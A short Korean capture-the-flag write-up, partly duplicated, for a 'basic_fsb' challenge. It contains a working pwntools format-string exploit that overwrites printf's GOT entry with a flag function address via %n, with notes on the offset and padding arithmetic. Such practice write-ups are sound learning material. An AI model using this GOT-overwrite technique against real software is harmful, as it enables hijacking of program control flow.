writeup보고 품. 좀더 다른 문제로 연습
from pwn import * context.log_level = 'debug' p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb') printf_got = 0x0804a00c flag = 0x80485b4 #payload = "%" + str(flag) + "x" payload = p32(printf_got) payload += "%134514096x%n" p.sendline(payload) p.interactive()
2번째 포맷 스트링에 0x41414141이 나온걸로 봐서 AAAA를 print_got로 바꾸고 값을 덮어씌우면 될거같음.
flag를 10진수로 변경하면 134514100이 되는데 134514096을 한 이유는 앞의 printg_got의 주소 바이트가 4바이트이기 때문에 4바이트를 빼준다.
위의 payload는 print_got를 넣어주고 flag의 크기만큼 %n을 이용하여 값을 덮어 씌우는데 이때 print_got의 값을 flag의 크기(주소)로 덮어씌운다.
Babyfsb
writeup보고 품. 좀더 다른 문제로 연습
2번째 포맷 스트링에 0x41414141이 나온걸로 봐서 AAAA를 print_got로 바꾸고 값을 덮어씌우면 될거같음.
flag를 10진수로 변경하면 134514100이 되는데 134514096을 한 이유는 앞의 printg_got의 주소 바이트가 4바이트이기 때문에 4바이트를 빼준다.
위의 payload는 print_got를 넣어주고 flag의 크기만큼 %n을 이용하여 값을 덮어 씌우는데 이때 print_got의 값을 flag의 크기(주소)로 덮어씌운다.